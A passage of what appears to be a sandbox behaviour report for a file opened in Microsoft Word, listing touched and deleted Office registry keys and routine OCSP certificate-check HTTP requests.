  2123. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Curlz MT",
  2124. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DaunPenh",
  2125. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\David",
  2126. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DFKai-SB",
  2127. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DilleniaUPC",
  2128. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DokChampa",
  2129. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Dotum",
  2130. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DotumChe",
  2131. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Ebrima",
  2132. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Edwardian Script ITC",
  2133. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Elephant",
  2134. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Engravers MT",
  2135. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Eras Bold ITC",
  2136. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Eras Demi ITC",
  2137. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Eras Light ITC",
  2138. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Eras Medium ITC",
  2139. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Estrangelo Edessa",
  2140. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\EucrosiaUPC",
  2141. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Euphemia",
  2142. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\FangSong",
  2143. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Felix Titling",
  2144. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Footlight MT Light",
  2145. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Forte",
  2146. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Book",
  2147. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Demi",
  2148. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Demi Cond",
  2149. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Heavy",
  2150. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Medium",
  2151. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Medium Cond",
  2152. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\FrankRuehl",
  2153. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\FreesiaUPC",
  2154. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Freestyle Script",
  2155. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\French Script MT",
  2156. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gabriola",
  2157. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gadugi",
  2158. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Garamond",
  2159. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gautami",
  2160. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Georgia",
  2161. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gigi",
  2162. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans MT",
  2163. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans MT Condensed",
  2164. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans MT Ext Condensed Bold",
  2165. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans Ultra Bold",
  2166. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans Ultra Bold Condensed",
  2167. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gisha",
  2168. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gloucester MT Extra Condensed",
  2169. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Goudy Old Style",
  2170. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Goudy Stout",
  2171. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gulim",
  2172. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\GulimChe",
  2173. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gungsuh",
  2174. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\GungsuhChe",
  2175. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Haettenschweiler",
  2176. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Harlow Solid Italic",
  2177. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Harrington",
  2178. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\High Tower Text",
  2179. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Impact",
  2180. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Imprint MT Shadow",
  2181. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Informal Roman",
  2182. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\IrisUPC",
  2183. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Iskoola Pota",
  2184. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\JasmineUPC",
  2185. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Jokerman",
  2186. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Juice ITC",
  2187. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\KaiTi",
  2188. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kalinga",
  2189. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kartika",
  2190. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Khmer UI",
  2191. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\KodchiangUPC",
  2192. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kokila",
  2193. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kristen ITC",
  2194. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kunstler Script",
  2195. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lao UI",
  2196. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Latha",
  2197. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Leelawadee",
  2198. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Levenim MT",
  2199. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\LilyUPC",
  2200. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Bright",
  2201. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Calligraphy",
  2202. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Console",
  2203. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Fax",
  2204. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Handwriting",
  2205. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Sans",
  2206. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Sans Typewriter",
  2207. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Sans Unicode",
  2208. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Magneto",
  2209. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Maiandra GD",
  2210. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Malgun Gothic",
  2211. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Mangal",
  2212. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Marlett",
  2213. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Matura MT Script Capitals",
  2214. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Meiryo",
  2215. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Meiryo UI",
  2216. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Himalaya",
  2217. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft JhengHei",
  2218. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft JhengHei UI",
  2219. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft New Tai Lue",
  2220. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft PhagsPa",
  2221. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Sans Serif",
  2222. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Tai Le",
  2223. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Uighur",
  2224. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft YaHei",
  2225. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft YaHei UI",
  2226. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Yi Baiti",
  2227. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MingLiU",
  2228. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MingLiU_HKSCS",
  2229. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MingLiU_HKSCS-ExtB",
  2230. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MingLiU-ExtB",
  2231. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Miriam",
  2232. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Miriam Fixed",
  2233. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Mistral",
  2234. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Modern No. 20",
  2235. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Mongolian Baiti",
  2236. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Monotype Corsiva",
  2237. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MoolBoran",
  2238. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Gothic",
  2239. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Mincho",
  2240. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Outlook",
  2241. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS PGothic",
  2242. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS PMincho",
  2243. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Reference Sans Serif",
  2244. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Reference Specialty",
  2245. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS UI Gothic",
  2246. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MT Extra",
  2247. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MV Boli",
  2248. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Narkisim",
  2249. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Niagara Engraved",
  2250. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Niagara Solid",
  2251. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Nirmala UI",
  2252. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\NSimSun",
  2253. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Nyala",
  2254. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\OCR A Extended",
  2255. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Old English Text MT",
  2256. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Onyx",
  2257. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Palace Script MT",
  2258. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Palatino Linotype",
  2259. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Papyrus",
  2260. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Parchment",
  2261. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Perpetua",
  2262. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Perpetua Titling MT",
  2263. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Plantagenet Cherokee",
  2264. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Playbill",
  2265. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\PMingLiU",
  2266. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\PMingLiU-ExtB",
  2267. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Poor Richard",
  2268. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Pristina",
  2269. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Raavi",
  2270. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rage Italic",
  2271. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Ravie",
  2272. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rockwell",
  2273. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rockwell Condensed",
  2274. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rockwell Extra Bold",
  2275. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rod",
  2276. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Sakkal Majalla",
  2277. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Script MT Bold",
  2278. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe Print",
  2279. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe Script",
  2280. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI",
  2281. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI Light",
  2282. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI Semibold",
  2283. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI Semilight",
  2284. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI Symbol",
  2285. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Shonar Bangla",
  2286. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Showcard Gothic",
  2287. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Shruti",
  2288. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\SimHei",
  2289. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Simplified Arabic",
  2290. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Simplified Arabic Fixed",
  2291. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\SimSun",
  2292. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\SimSun-ExtB",
  2293. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Snap ITC",
  2294. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Stencil",
  2295. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Sylfaen",
  2296. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Symbol",
  2297. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tahoma",
  2298. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tempus Sans ITC",
  2299. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Times New Roman",
  2300. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Traditional Arabic",
  2301. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Trebuchet MS",
  2302. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tunga",
  2303. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tw Cen MT",
  2304. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tw Cen MT Condensed",
  2305. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tw Cen MT Condensed Extra Bold",
  2306. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Utsaah",
  2307. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vani",
  2308. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Verdana",
  2309. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vijaya",
  2310. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Viner Hand ITC",
  2311. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vivaldi",
  2312. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vladimir Script",
  2313. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vrinda",
  2314. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Webdings",
  2315. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Wide Latin",
  2316. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Wingdings",
  2317. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Wingdings 2",
  2318. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Wingdings 3",
  2319. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\NextUpdate",
  2320. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\LastUpdate",
  2321. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\NextUpdate",
  2322. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\LastUpdate",
  2323. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Toolbars\\Settings\\Microsoft Word",
  2324. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations",
  2325. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations\\Document 0",
  2326. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations\\Document 0\\File Path",
  2327. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations\\Document 0\\Datetime",
  2328. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations\\Document 0\\Position",
  2329. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Data\\Settings",
  2330. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Options\\BackgroundOpen",
  2331. "HKEY_CURRENT_USER\\Software\\Microsoft\\VBA\\7.1\\Common\\PropertiesWindow",
  2332. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\NextUpdate",
  2333. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\LastUpdate",
  2334. "HKEY_CURRENT_USER\\Software\\Microsoft\\VBA\\7.1\\Common\\MainWindow",
  2335. "HKEY_CURRENT_USER\\Software\\Microsoft\\VBA\\7.1\\Common\\MdiMaximized",
  2336. "HKEY_CURRENT_USER\\Software\\Microsoft\\VBA\\7.1\\Common\\Dock",
  2337. "HKEY_CURRENT_USER\\Software\\Microsoft\\VBA\\7.1\\Common\\FolderView",
  2338. "HKEY_CURRENT_USER\\Software\\Microsoft\\VBA\\7.1\\Common\\Tool",
  2339. "HKEY_CURRENT_USER\\Software\\Microsoft\\VBA\\7.1\\Common\\CtlsShowSelected",
  2340. "HKEY_CURRENT_USER\\Software\\Microsoft\\VBA\\7.1\\Common\\DsnShowSelected",
  2341. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\NextUpdate",
  2342. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\LastUpdate",
  2343. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\MTTF",
  2344. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\MTTA",
  2345. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Feedback\\AppUsageData_1"
  2346. ]
  2347.  
  2348. [*] Deleted Registry Keys: [
  2349. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\:<~",
  2350. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\CacheReady",
  2351. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastRequest",
  2352. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastUpdate",
  2353. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\NextUpdate",
  2354. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\;\\x7f|",
  2355. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\5332B2\\5332B2",
  2356. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\MTTT"
  2357. ]
  2358.  
  2359. [*] DNS Communications: []
  2360.  
  2361. [*] Domains: []
  2362.  
  2363. [*] Network Communication - ICMP: []
  2364.  
  2365. [*] Network Communication - HTTP: [
  2366. {
  2367. "count": 1,
  2368. "body": "",
  2369. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D",
  2370. "user-agent": "Microsoft-CryptoAPI/6.1",
  2371. "method": "GET",
  2372. "host": "ocsp.digicert.com",
  2373. "version": "1.1",
  2374. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D",
  2375. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  2376. "port": 80
  2377. },
  2378. {
  2379. "count": 1,
  2380. "body": "",
  2381. "uri": "http://ocsp.msocsp.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D",
  2382. "user-agent": "Microsoft-CryptoAPI/6.1",
  2383. "method": "GET",
  2384. "host": "ocsp.msocsp.com",
  2385. "version": "1.1",
